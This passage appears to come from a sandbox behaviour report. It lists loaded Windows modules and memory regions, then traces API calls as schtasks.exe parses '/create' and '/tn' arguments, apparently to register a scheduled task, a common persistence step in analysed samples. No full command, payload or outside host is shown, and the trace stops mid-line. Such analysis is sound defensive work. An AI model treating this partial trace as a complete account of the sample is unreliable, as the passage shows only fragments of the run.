"\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3174 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3175 start_va = 0x9d89c00000 end_va = 0x9d89c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000009d89c00000" filename = "" Region: id = 3176 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3177 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3178 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3179 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3180 start_va = 0x2781b710000 end_va = 0x2781b75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b710000" filename = "" Region: id = 3181 start_va = 0x2781b7c0000 end_va = 0x2781b8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b7c0000" filename = "" Region: id = 3182 start_va = 0x2781b6b0000 end_va = 0x2781b6b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b6b0000" filename = "" Region: id = 3183 start_va = 0x2781b980000 end_va = 0x2781bac2fff monitored = 0 entry_point = 0x2781b9a8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3185 start_va = 0x2781b710000 end_va = 0x2781b716fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b710000" filename = "" Region: id = 3186 start_va = 0x2781b750000 end_va = 0x2781b75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b750000" filename = "" Region: id = 3187 start_va = 0x2781b720000 end_va = 0x2781b732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3188 start_va = 0x2781b980000 end_va = 0x2781bcb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3191 start_va = 0x2781bcc0000 end_va = 0x2781bd9cfff monitored = 0 entry_point = 0x2781bd1e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3192 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3193 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3194 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3195 start_va = 0x2781b760000 end_va = 0x2781b798fff monitored = 0 entry_point = 0x2781b7612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3196 start_va = 0x2781bcc0000 end_va = 0x2781be47fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781bcc0000" filename = "" Region: id = 3197 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3200 start_va = 0x2781b740000 end_va = 0x2781b740fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b740000" filename = "" Region: id = 3201 start_va = 0x2781b760000 end_va = 0x2781b760fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002781b760000" filename = "" Region: id = 3202 start_va = 0x2781be50000 end_va = 0x2781bfd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781be50000" filename = "" Region: id = 3203 start_va = 0x2781bfe0000 end_va = 0x2781d3dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781bfe0000" filename = "" Region: id = 3208 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3209 start_va = 0x2781b770000 end_va = 0x2781b770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781b770000" filename = "" Region: id = 3210 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3217 start_va = 0x2781b780000 end_va = 0x2781b780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002781b780000" filename = "" Region: id = 3218 start_va = 0x7ffb18f90000 end_va = 0x7ffb1904efff monitored = 0 entry_point = 0x7ffb18fb1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3219 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3240 start_va = 0x7ffb190b0000 end_va = 0x7ffb190e5fff monitored = 0 entry_point = 0x7ffb190c0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 159 os_tid = 0x1384 [0135.071] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6b6f50000 [0135.071] __set_app_type (_Type=0x1) [0135.071] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6b6f748d0) returned 0x0 [0135.071] __wgetmainargs (in: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008, _DoWildCard=0, _StartInfo=0x7ff6b6f88014 | out: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008) returned 0 [0135.071] _onexit (_Func=0x7ff6b6f77ec0) returned 0x7ff6b6f77ec0 [0135.072] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0135.072] CsrIdentifyAlertableThread () returned 0x0 [0135.124] GetProcessHeap () returned 0x2781b7c0000 [0135.124] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c44a0 [0135.124] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.124] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0135.124] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0135.124] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0135.124] RtlVerifyVersionInfo (VersionInfo=0x9d899cf5f0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0135.124] GetProcessHeap () returned 0x2781b7c0000 [0135.124] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c4a90 [0135.124] lstrlenW (lpString="") returned 0 [0135.125] GetProcessHeap () returned 0x2781b7c0000 [0135.125] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x2) returned 0x2781b7c4ab0 [0135.125] GetProcessHeap () returned 0x2781b7c0000 [0135.125] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c4000 [0135.125] GetProcessHeap () returned 0x2781b7c0000 [0135.125] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c4030 [0135.125] GetProcessHeap () returned 0x2781b7c0000 [0135.125] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c4050 [0135.125] GetProcessHeap () returned 0x2781b7c0000 [0135.125] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c4080 [0135.125] GetProcessHeap () returned 0x2781b7c0000 [0135.125] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c2090 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8f00 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c20c0 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c9140 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8ed0 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8f30 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c9110 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c20e0 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c9020 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c90e0 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8f60 [0135.126] GetProcessHeap () returned 0x2781b7c0000 [0135.126] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8f90 [0135.126] SetThreadUILanguage (LangId=0x0) returned 0x409 [0135.128] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.128] GetProcessHeap () returned 0x2781b7c0000 [0135.128] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8e70 [0135.128] GetProcessHeap () returned 0x2781b7c0000 [0135.128] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c9080 [0135.128] GetProcessHeap () returned 0x2781b7c0000 [0135.128] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c90b0 [0135.128] GetProcessHeap () returned 0x2781b7c0000 [0135.128] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8de0 [0135.128] GetProcessHeap () returned 0x2781b7c0000 [0135.129] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c9050 [0135.129] GetProcessHeap () returned 0x2781b7c0000 [0135.129] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c46f0 [0135.129] _memicmp (_Buf1=0x2781b7c46f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.129] GetProcessHeap () returned 0x2781b7c0000 [0135.129] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x208) returned 0x2781b7c9a80 [0135.129] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2781b7c9a80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0135.129] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x9d899cf748 | out: lpdwHandle=0x9d899cf748) returned 0x76c [0135.131] GetProcessHeap () returned 0x2781b7c0000 [0135.131] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x776) returned 0x2781b7ca7e0 [0135.131] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2781b7ca7e0 | out: lpData=0x2781b7ca7e0) returned 1 [0135.131] VerQueryValueW (in: pBlock=0x2781b7ca7e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x9d899cf6e0, puLen=0x9d899cf740 | out: lplpBuffer=0x9d899cf6e0*=0x2781b7cab90, puLen=0x9d899cf740) returned 1 [0135.134] _memicmp (_Buf1=0x2781b7c46f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.134] _vsnwprintf (in: _Buffer=0x2781b7c9a80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x9d899cf6b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0135.134] VerQueryValueW (in: pBlock=0x2781b7ca7e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x9d899cf6d0, puLen=0x9d899cf738 | out: lplpBuffer=0x9d899cf6d0*=0x2781b7ca9c0, puLen=0x9d899cf738) returned 1 [0135.134] lstrlenW (lpString="schtasks.exe") returned 12 [0135.134] lstrlenW (lpString="schtasks.exe") returned 12 [0135.134] lstrlenW (lpString=".EXE") returned 4 [0135.134] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0135.137] lstrlenW (lpString="schtasks.exe") returned 12 [0135.137] lstrlenW (lpString=".EXE") returned 4 [0135.137] _memicmp (_Buf1=0x2781b7c46f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.137] lstrlenW (lpString="schtasks") returned 8 [0135.137] GetProcessHeap () returned 0x2781b7c0000 [0135.137] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8e40 [0135.137] GetProcessHeap () returned 0x2781b7c0000 [0135.137] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7c8ea0 [0135.137] GetProcessHeap () returned 0x2781b7c0000 [0135.137] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb3e0 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cba70 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c3890 [0135.138] _memicmp (_Buf1=0x2781b7c3890, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xa0) returned 0x2781b7c38b0 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb2f0 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb620 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cba10 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c3960 [0135.138] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x200) returned 0x2781b7cbab0 [0135.138] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0135.138] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0135.138] GetProcessHeap () returned 0x2781b7c0000 [0135.138] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x30) returned 0x2781b7c42b0 [0135.138] _vsnwprintf (in: _Buffer=0x2781b7c38b0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x9d899cf6b8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0135.139] GetProcessHeap () returned 0x2781b7c0000 [0135.139] GetProcessHeap () returned 0x2781b7c0000 [0135.139] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ca7e0) returned 1 [0135.139] GetProcessHeap () returned 0x2781b7c0000 [0135.139] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ca7e0) returned 0x776 [0135.139] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7ca7e0) returned 1 [0135.139] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.139] GetThreadLocale () returned 0x409 [0135.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.139] lstrlenW (lpString="?") returned 1 [0135.140] GetThreadLocale () returned 0x409 [0135.140] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.140] lstrlenW (lpString="create") returned 6 [0135.140] GetThreadLocale () returned 0x409 [0135.140] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.140] lstrlenW (lpString="delete") returned 6 [0135.140] GetThreadLocale () returned 0x409 [0135.140] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.140] lstrlenW (lpString="query") returned 5 [0135.140] GetThreadLocale () returned 0x409 [0135.140] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.140] lstrlenW (lpString="change") returned 6 [0135.140] GetThreadLocale () returned 0x409 [0135.140] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.140] lstrlenW (lpString="run") returned 3 [0135.140] GetThreadLocale () returned 0x409 [0135.140] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.140] lstrlenW (lpString="end") returned 3 [0135.140] GetThreadLocale () returned 0x409 [0135.140] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.140] lstrlenW (lpString="showsid") returned 7 [0135.140] GetThreadLocale () returned 0x409 [0135.140] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.140] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.140] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.140] lstrlenW (lpString="/create") returned 7 [0135.140] lstrlenW (lpString="-/") returned 2 [0135.140] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.140] lstrlenW (lpString="?") returned 1 [0135.140] lstrlenW (lpString="?") returned 1 [0135.140] GetProcessHeap () returned 0x2781b7c0000 [0135.141] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c42f0 [0135.141] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.141] GetProcessHeap () returned 0x2781b7c0000 [0135.141] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xa) returned 0x2781b7c4310 [0135.141] lstrlenW (lpString="create") returned 6 [0135.141] GetProcessHeap () returned 0x2781b7c0000 [0135.141] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c4330 [0135.141] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.141] GetProcessHeap () returned 0x2781b7c0000 [0135.141] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x14) returned 0x2781b7c4350 [0135.141] _vsnwprintf (in: _Buffer=0x2781b7c4310, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|?|") returned 3 [0135.141] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.141] lstrlenW (lpString="|?|") returned 3 [0135.141] lstrlenW (lpString="|create|") returned 8 [0135.141] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.141] lstrlenW (lpString="create") returned 6 [0135.141] lstrlenW (lpString="create") returned 6 [0135.141] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.141] GetProcessHeap () returned 0x2781b7c0000 [0135.141] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4310) returned 1 [0135.141] GetProcessHeap () returned 0x2781b7c0000 [0135.141] RtlReAllocateHeap (Heap=0x2781b7c0000, Flags=0xc, Ptr=0x2781b7c4310, Size=0x14) returned 0x2781b7c4370 [0135.141] lstrlenW (lpString="create") returned 6 [0135.141] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.141] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.141] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.141] lstrlenW (lpString="|create|") returned 8 [0135.141] lstrlenW (lpString="|create|") returned 8 [0135.141] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0135.141] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.141] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.142] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.142] lstrlenW (lpString="/tn") returned 3 [0135.142] lstrlenW (lpString="-/") returned 2 [0135.142] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.142] lstrlenW (lpString="?") returned 1 [0135.142] lstrlenW (lpString="?") returned 1 [0135.142] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.142] lstrlenW (lpString="tn") returned 2 [0135.142] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.142] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|?|") returned 3 [0135.142] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tn|") returned 4 [0135.142] lstrlenW (lpString="|?|") returned 3 [0135.142] lstrlenW (lpString="|tn|") returned 4 [0135.142] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.142] lstrlenW (lpString="create") returned 6 [0135.142] lstrlenW (lpString="create") returned 6 [0135.142] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.142] lstrlenW (lpString="tn") returned 2 [0135.142] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.142] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.142] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tn|") returned 4 [0135.142] lstrlenW (lpString="|create|") returned 8 [0135.142] lstrlenW (lpString="|tn|") returned 4 [0135.142] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0135.142] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.142] lstrlenW (lpString="delete") returned 6 [0135.142] lstrlenW (lpString="delete") returned 6 [0135.142] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.142] lstrlenW (lpString="tn") returned 2 [0135.142] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.143] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|delete|") returned 8 [0135.143] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tn|") returned 4 [0135.143] lstrlenW (lpString="|delete|") returned 8 [0135.143] lstrlenW (lpString="|tn|") returned 4 [0135.143] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0135.143] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.143] lstrlenW (lpString="query") returned 5 [0135.143] lstrlenW (lpString="query") returned 5 [0135.143] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.143] lstrlenW (lpString="tn") returned 2 [0135.143] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.143] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x8, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|query|") returned 7 [0135.143] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tn|") returned 4 [0135.143] lstrlenW (lpString="|query|") returned 7 [0135.143] lstrlenW (lpString="|tn|") returned 4 [0135.143] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0135.143] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.143] lstrlenW (lpString="change") returned 6 [0135.143] lstrlenW (lpString="change") returned 6 [0135.143] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.143] lstrlenW (lpString="tn") returned 2 [0135.143] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.143] _vsnwprintf (in: 